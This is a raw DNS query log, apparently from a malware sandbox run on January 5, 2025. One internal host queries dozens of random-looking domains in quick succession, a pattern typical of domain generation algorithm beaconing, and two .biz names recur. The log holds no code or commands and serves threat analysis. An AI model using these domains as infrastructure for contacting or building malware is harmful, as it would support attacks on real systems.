Jan 5, 2025 10:51:09.399096012 CET	192.168.2.4	1.1.1.1	0x51b3	Standard query (0)	uswduhjam.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:10.177544117 CET	192.168.2.4	1.1.1.1	0x1bf6	Standard query (0)	uswduhjam.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:10.319864035 CET	192.168.2.4	1.1.1.1	0xaeac	Standard query (0)	wxcqodg.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:10.506318092 CET	192.168.2.4	1.1.1.1	0x9b1d	Standard query (0)	wxcqodg.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:10.649157047 CET	192.168.2.4	1.1.1.1	0xe22	Standard query (0)	ygxfooxo.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:10.957386971 CET	192.168.2.4	1.1.1.1	0xee23	Standard query (0)	ygxfooxo.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:11.291999102 CET	192.168.2.4	1.1.1.1	0x1f6f	Standard query (0)	ebgsulu.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:11.307876110 CET	192.168.2.4	1.1.1.1	0x5fa1	Standard query (0)	ebgsulu.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:11.398269892 CET	192.168.2.4	1.1.1.1	0x5078	Standard query (0)	moktawaamewo.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:11.412120104 CET	192.168.2.4	1.1.1.1	0x36cb	Standard query (0)	moktawaamewo.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:11.478991985 CET	192.168.2.4	1.1.1.1	0x83e	Standard query (0)	laayxhqpe.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:11.500089884 CET	192.168.2.4	1.1.1.1	0xba12	Standard query (0)	laayxhqpe.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:11.570919037 CET	192.168.2.4	1.1.1.1	0xcc1f	Standard query (0)	joyaprq.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:11.608511925 CET	192.168.2.4	1.1.1.1	0x129d	Standard query (0)	joyaprq.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:11.679989100 CET	192.168.2.4	1.1.1.1	0x25a5	Standard query (0)	yoorxeo.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:11.786339998 CET	192.168.2.4	1.1.1.1	0xc8fe	Standard query (0)	yoorxeo.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:11.867711067 CET	192.168.2.4	1.1.1.1	0xfe7e	Standard query (0)	kaqjeyxwsjs.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:11.880898952 CET	192.168.2.4	1.1.1.1	0x770b	Standard query (0)	kaqjeyxwsjs.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:11.961483955 CET	192.168.2.4	1.1.1.1	0xad92	Standard query (0)	uiuceavzotuik.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:11.990468025 CET	192.168.2.4	1.1.1.1	0xbab7	Standard query (0)	uiuceavzotuik.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.054531097 CET	192.168.2.4	1.1.1.1	0x2f20	Standard query (0)	pysemq.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.164838076 CET	192.168.2.4	1.1.1.1	0xf25a	Standard query (0)	pysemq.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.321463108 CET	192.168.2.4	1.1.1.1	0xcfe8	Standard query (0)	yefoyvm.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.332442045 CET	192.168.2.4	1.1.1.1	0x38e2	Standard query (0)	yefoyvm.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.398000002 CET	192.168.2.4	1.1.1.1	0xaa0b	Standard query (0)	pkpfwssxq.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.409730911 CET	192.168.2.4	1.1.1.1	0xb5b5	Standard query (0)	pkpfwssxq.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.478163004 CET	192.168.2.4	1.1.1.1	0x3028	Standard query (0)	iizkbggrq.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.492785931 CET	192.168.2.4	1.1.1.1	0xfa54	Standard query (0)	iizkbggrq.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.554188013 CET	192.168.2.4	1.1.1.1	0x95ff	Standard query (0)	yeayernlfuuer.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.581684113 CET	192.168.2.4	1.1.1.1	0x6999	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.593461037 CET	192.168.2.4	1.1.1.1	0x6026	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.648269892 CET	192.168.2.4	1.1.1.1	0x6fc6	Standard query (0)	jqmpigygnosc.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.684057951 CET	192.168.2.4	1.1.1.1	0x7e6c	Standard query (0)	jqmpigygnosc.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.757709980 CET	192.168.2.4	1.1.1.1	0xb39a	Standard query (0)	sxhawy.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.776928902 CET	192.168.2.4	1.1.1.1	0xef17	Standard query (0)	sxhawy.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.835530043 CET	192.168.2.4	1.1.1.1	0xc4b2	Standard query (0)	uumkibvwik.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.855041981 CET	192.168.2.4	1.1.1.1	0xe974	Standard query (0)	uumkibvwik.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.913541079 CET	192.168.2.4	1.1.1.1	0xb23	Standard query (0)	eacoikwuy.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:13.056164026 CET	192.168.2.4	1.1.1.1	0x9ac4	Standard query (0)	eacoikwuy.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:13.211028099 CET	192.168.2.4	1.1.1.1	0x60ce	Standard query (0)	qyrcizm.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:13.401446104 CET	192.168.2.4	1.1.1.1	0x203d	Standard query (0)	qyrcizm.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:14.226756096 CET	192.168.2.4	1.1.1.1	0x4827	Standard query (0)	erteu.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:14.351835012 CET	192.168.2.4	1.1.1.1	0xb3	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:14.393228054 CET	192.168.2.4	1.1.1.1	0x66f5	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:14.514058113 CET	192.168.2.4	1.1.1.1	0x2f85	Standard query (0)	iilhzyzz.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:14.597177982 CET	192.168.2.4	1.1.1.1	0xc526	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:14.694886923 CET	192.168.2.4	1.1.1.1	0x2b37	Standard query (0)	lgabfmbedcmat.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:14.705858946 CET	192.168.2.4	1.1.1.1	0x4c2f	Standard query (0)	lgabfmbedcmat.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:14.757436037 CET	192.168.2.4	1.1.1.1	0xe1db	Standard query (0)	umqspueucw.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:14.770934105 CET	192.168.2.4	1.1.1.1	0x6fc	Standard query (0)	umqspueucw.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:14.836935997 CET	192.168.2.4	1.1.1.1	0xa061	Standard query (0)	yiiqcjudu.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:14.881587029 CET	192.168.2.4	1.1.1.1	0xef3	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:14.891678095 CET	192.168.2.4	1.1.1.1	0xf8e4	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:14.945053101 CET	192.168.2.4	1.1.1.1	0x3852	Standard query (0)	useay.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:14.974060059 CET	192.168.2.4	1.1.1.1	0x3767	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:14.983639002 CET	192.168.2.4	1.1.1.1	0xac81	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.039026976 CET	192.168.2.4	1.1.1.1	0x257f	Standard query (0)	ahgolamne.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.068500996 CET	192.168.2.4	1.1.1.1	0x6e7a	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.077836990 CET	192.168.2.4	1.1.1.1	0x6dd	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.132497072 CET	192.168.2.4	1.1.1.1	0x21b2	Standard query (0)	skxtiwv.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.152734995 CET	192.168.2.4	1.1.1.1	0xfa93	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.161564112 CET	192.168.2.4	1.1.1.1	0x6f5e	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.227718115 CET	192.168.2.4	1.1.1.1	0xa3b6	Standard query (0)	kqlcwdpuso.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.503843069 CET	192.168.2.4	1.1.1.1	0x870a	Standard query (0)	kqlcwdpuso.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.585748911 CET	192.168.2.4	1.1.1.1	0x752e	Standard query (0)	defbu.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.623253107 CET	192.168.2.4	1.1.1.1	0x16da	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.635129929 CET	192.168.2.4	1.1.1.1	0xcd56	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.695256948 CET	192.168.2.4	1.1.1.1	0x459d	Standard query (0)	tymcrs.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.718641043 CET	192.168.2.4	1.1.1.1	0xfd47	Standard query (0)	tymcrs.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.789176941 CET	192.168.2.4	1.1.1.1	0x4a68	Standard query (0)	sqsooyqhc.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.802022934 CET	192.168.2.4	1.1.1.1	0xbf66	Standard query (0)	sqsooyqhc.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.868072987 CET	192.168.2.4	1.1.1.1	0xc80a	Standard query (0)	uwygasicj.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.883697033 CET	192.168.2.4	1.1.1.1	0xc110	Standard query (0)	uwygasicj.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.945105076 CET	192.168.2.4	1.1.1.1	0x6a39	Standard query (0)	ooimawkmugi.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.957194090 CET	192.168.2.4	1.1.1.1	0xc7e4	Standard query (0)	ooimawkmugi.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.023062944 CET	192.168.2.4	1.1.1.1	0xef2	Standard query (0)	mhmilgewoomwe.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.050921917 CET	192.168.2.4	1.1.1.1	0x8099	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.060169935 CET	192.168.2.4	1.1.1.1	0x45e8	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.116796017 CET	192.168.2.4	1.1.1.1	0xafc0	Standard query (0)	mwcscawmtgknk.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.210930109 CET	192.168.2.4	1.1.1.1	0xca54	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.267023087 CET	192.168.2.4	1.1.1.1	0xf4db	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.382646084 CET	192.168.2.4	1.1.1.1	0x13b6	Standard query (0)	gyruzeynroqo.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.399905920 CET	192.168.2.4	1.1.1.1	0x19bd	Standard query (0)	gyruzeynroqo.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.460860968 CET	192.168.2.4	1.1.1.1	0x5f20	Standard query (0)	kkycrsduhwiox.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.522173882 CET	192.168.2.4	1.1.1.1	0x3489	Standard query (0)	kkycrsduhwiox.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.648391008 CET	192.168.2.4	1.1.1.1	0x5ef7	Standard query (0)	wwofeoi.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.659605980 CET	192.168.2.4	1.1.1.1	0xdae9	Standard query (0)	wwofeoi.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.726366043 CET	192.168.2.4	1.1.1.1	0xe9a0	Standard query (0)	wkbiscm.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.767554045 CET	192.168.2.4	1.1.1.1	0xc8b2	Standard query (0)	wkbiscm.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.820229053 CET	192.168.2.4	1.1.1.1	0x9a26	Standard query (0)	zxzcgj.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.852739096 CET	192.168.2.4	1.1.1.1	0xabe6	Standard query (0)	zxzcgj.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.914614916 CET	192.168.2.4	1.1.1.1	0x8080	Standard query (0)	qncmreciv.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:17.090425968 CET	192.168.2.4	1.1.1.1	0x96f9	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:17.220072985 CET	192.168.2.4	1.1.1.1	0xc92b	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:17.311755896 CET	192.168.2.4	1.1.1.1	0xf3e	Standard query (0)	gpoigqg.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:17.360555887 CET	192.168.2.4	1.1.1.1	0x26bc	Standard query (0)	gpoigqg.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:17.434524059 CET	192.168.2.4	1.1.1.1	0x9b7b	Standard query (0)	tdeimvcykioj.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:17.531363010 CET	192.168.2.4	1.1.1.1	0x77b6	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:17.540468931 CET	192.168.2.4	1.1.1.1	0xdbc5	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:17.600914001 CET	192.168.2.4	1.1.1.1	0xaa91	Standard query (0)	ovrmtcuedgae.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:17.680130959 CET	192.168.2.4	1.1.1.1	0x3d36	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:17.721204996 CET	192.168.2.4	1.1.1.1	0x4283	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:17.773154020 CET	192.168.2.4	1.1.1.1	0x81c7	Standard query (0)	sgockdamcqbym.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:17.856050014 CET	192.168.2.4	1.1.1.1	0x7f01	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:17.873006105 CET	192.168.2.4	1.1.1.1	0x6033	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:17.930068970 CET	192.168.2.4	1.1.1.1	0x2bbf	Standard query (0)	enokudiliwi.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:17.963170052 CET	192.168.2.4	1.1.1.1	0x5b6c	Standard query (0)	enokudiliwi.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:18.023437977 CET	192.168.2.4	1.1.1.1	0x5dc2	Standard query (0)	iskhcigwkvdpoz.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:18.098887920 CET	192.168.2.4	1.1.1.1	0xe516	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:18.124301910 CET	192.168.2.4	1.1.1.1	0x3277	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:18.179382086 CET	192.168.2.4	1.1.1.1	0x7c08	Standard query (0)	duxgekeesugx.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:18.456919909 CET	192.168.2.4	1.1.1.1	0x4b96	Standard query (0)	duxgekeesugx.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:18.694969893 CET	192.168.2.4	1.1.1.1	0xf6f9	Standard query (0)	tpspkdy.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:19.069114923 CET	192.168.2.4	1.1.1.1	0x9bf1	Standard query (0)	tpspkdy.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:19.243340015 CET	192.168.2.4	1.1.1.1	0x499e	Standard query (0)	xpezimjctbzmo.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:19.287200928 CET	192.168.2.4	1.1.1.1	0xe3f0	Standard query (0)	xpezimjctbzmo.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:19.399131060 CET	192.168.2.4	1.1.1.1	0xf189	Standard query (0)	cwolcmj.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:19.816047907 CET	192.168.2.4	1.1.1.1	0x712c	Standard query (0)	cwolcmj.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:20.078049898 CET	192.168.2.4	1.1.1.1	0xf1ba	Standard query (0)	cgaaw.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:20.121558905 CET	192.168.2.4	1.1.1.1	0x8a93	Standard query (0)	cgaaw.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:20.179280043 CET	192.168.2.4	1.1.1.1	0x7eb0	Standard query (0)	uuwgyseoojlsin.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:21.146250010 CET	192.168.2.4	1.1.1.1	0xace9	Standard query (0)	uuwgyseoojlsin.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:21.194704056 CET	192.168.2.4	1.1.1.1	0xc912	Standard query (0)	mkuegbwheeqrkp.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:21.337143898 CET	192.168.2.4	1.1.1.1	0x9de0	Standard query (0)	mkuegbwheeqrkp.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:21.523780107 CET	192.168.2.4	1.1.1.1	0x8d54	Standard query (0)	wwmomgmzcuogux.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:21.552900076 CET	192.168.2.4	1.1.1.1	0x9d55	Standard query (0)	wwmomgmzcuogux.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:21.617007017 CET	192.168.2.4	1.1.1.1	0x4e30	Standard query (0)	mvrooosmgqanq.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:21.833425045 CET	192.168.2.4	1.1.1.1	0xe93c	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:21.880806923 CET	192.168.2.4	1.1.1.1	0xfad7	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:21.944736958 CET	192.168.2.4	1.1.1.1	0xdbcf	Standard query (0)	wqfmmmssa.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:22.017817020 CET	192.168.2.4	1.1.1.1	0x396a	Standard query (0)	wqfmmmssa.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:22.195338964 CET	192.168.2.4	1.1.1.1	0x5968	Standard query (0)	sgykkmj.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:22.255801916 CET	192.168.2.4	1.1.1.1	0x31f	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:22.303046942 CET	192.168.2.4	1.1.1.1	0x66a6	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:22.371009111 CET	192.168.2.4	1.1.1.1	0x2b3	Standard query (0)	usswcreekiq.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:22.752213001 CET	192.168.2.4	1.1.1.1	0x8971	Standard query (0)	usswcreekiq.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:22.898164034 CET	192.168.2.4	1.1.1.1	0x100a	Standard query (0)	gketc.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:22.929946899 CET	192.168.2.4	1.1.1.1	0x1886	Standard query (0)	gketc.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:22.991928101 CET	192.168.2.4	1.1.1.1	0x7b39	Standard query (0)	qkxiogyhafi.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:23.024015903 CET	192.168.2.4	1.1.1.1	0x5e9a	Standard query (0)	qkxiogyhafi.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:23.085668087 CET	192.168.2.4	1.1.1.1	0x3c9b	Standard query (0)	oqqhbcoxcyqsw.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:23.150212049 CET	192.168.2.4	1.1.1.1	0xb4fb	Standard query (0)	oqqhbcoxcyqsw.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:23.242660999 CET	192.168.2.4	1.1.1.1	0xc76c	Standard query (0)	kvaqewnz.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:23.287033081 CET	192.168.2.4	1.1.1.1	0xe89f	Standard query (0)	kvaqewnz.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:23.352416992 CET	192.168.2.4	1.1.1.1	0x2ed4	Standard query (0)	ywwoclaovqnywn.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:23.393028021 CET	192.168.2.4	1.1.1.1	0xba5a	Standard query (0)	ywwoclaovqnywn.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:23.460846901 CET	192.168.2.4	1.1.1.1	0x5619	Standard query (0)	fnmpk.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:23.526987076 CET	192.168.2.4	1.1.1.1	0x58c7	Standard query (0)	fnmpk.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:23.632668018 CET	192.168.2.4	1.1.1.1	0x4593	Standard query (0)	qmqhowr.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:23.699726105 CET	192.168.2.4	1.1.1.1	0xd7d7	Standard query (0)	qmqhowr.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:23.757683992 CET	192.168.2.4	1.1.1.1	0x2957	Standard query (0)	ietwickcse.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:23.846993923 CET	192.168.2.4	1.1.1.1	0x7daf	Standard query (0)	ietwickcse.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:23.898570061 CET	192.168.2.4	1.1.1.1	0x160c	Standard query (0)	uufmo.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:24.044466972 CET	192.168.2.4	1.1.1.1	0xf08	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:24.056308031 CET	192.168.2.4	1.1.1.1	0x83c5	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:24.116874933 CET	192.168.2.4	1.1.1.1	0x1a93	Standard query (0)	urwweldkbjesn.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:24.203133106 CET	192.168.2.4	1.1.1.1	0xc3ec	Standard query (0)	urwweldkbjesn.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:24.319986105 CET	192.168.2.4	1.1.1.1	0x99a8	Standard query (0)	kscqiwevyqu.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:24.387044907 CET	192.168.2.4	1.1.1.1	0x71c2	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:24.400917053 CET	192.168.2.4	1.1.1.1	0xa941	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:24.508012056 CET	192.168.2.4	1.1.1.1	0xb25a	Standard query (0)	esuwhvskmxn.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:24.520989895 CET	192.168.2.4	1.1.1.1	0x2a17	Standard query (0)	esuwhvskmxn.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:24.586395979 CET	192.168.2.4	1.1.1.1	0x7e62	Standard query (0)	vukuc.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:24.597790003 CET	192.168.2.4	1.1.1.1	0x874e	Standard query (0)	vukuc.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:24.680636883 CET	192.168.2.4	1.1.1.1	0xb21d	Standard query (0)	zugzq.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:24.983479023 CET	192.168.2.4	1.1.1.1	0x2b53	Standard query (0)	zugzq.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:25.165244102 CET	192.168.2.4	1.1.1.1	0x4465	Standard query (0)	fmslnmq.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:25.253333092 CET	192.168.2.4	1.1.1.1	0xa38e	Standard query (0)	fmslnmq.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:25.390192032 CET	192.168.2.4	1.1.1.1	0x7a68	Standard query (0)	aawwbcseutmfcl.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:25.498929024 CET	192.168.2.4	1.1.1.1	0xbf7b	Standard query (0)	aawwbcseutmfcl.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:25.960936069 CET	192.168.2.4	1.1.1.1	0x650b	Standard query (0)	hezceuiftke.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:25.998882055 CET	192.168.2.4	1.1.1.1	0xbaf6	Standard query (0)	hezceuiftke.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:26.304713011 CET	192.168.2.4	1.1.1.1	0xd7a4	Standard query (0)	ocqyuj.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:26.317722082 CET	192.168.2.4	1.1.1.1	0x611e	Standard query (0)	ocqyuj.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:26.366905928 CET	192.168.2.4	1.1.1.1	0x2046	Standard query (0)	nqwrhwh.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:26.643937111 CET	192.168.2.4	1.1.1.1	0x3ff3	Standard query (0)	nqwrhwh.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:26.788809061 CET	192.168.2.4	1.1.1.1	0x2aef	Standard query (0)	ekvubzmcz.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:26.809422016 CET	192.168.2.4	1.1.1.1	0xdf1c	Standard query (0)	ekvubzmcz.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:26.913793087 CET	192.168.2.4	1.1.1.1	0x664	Standard query (0)	euzadykwdbg.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:27.185442924 CET	192.168.2.4	1.1.1.1	0xfb7e	Standard query (0)	euzadykwdbg.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:27.305058956 CET	192.168.2.4	1.1.1.1	0x9786	Standard query (0)	xgswoeoxdde.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:27.319277048 CET	192.168.2.4	1.1.1.1	0x9ac3	Standard query (0)	xgswoeoxdde.pw	A (IP address)	IN (0x0001)	false
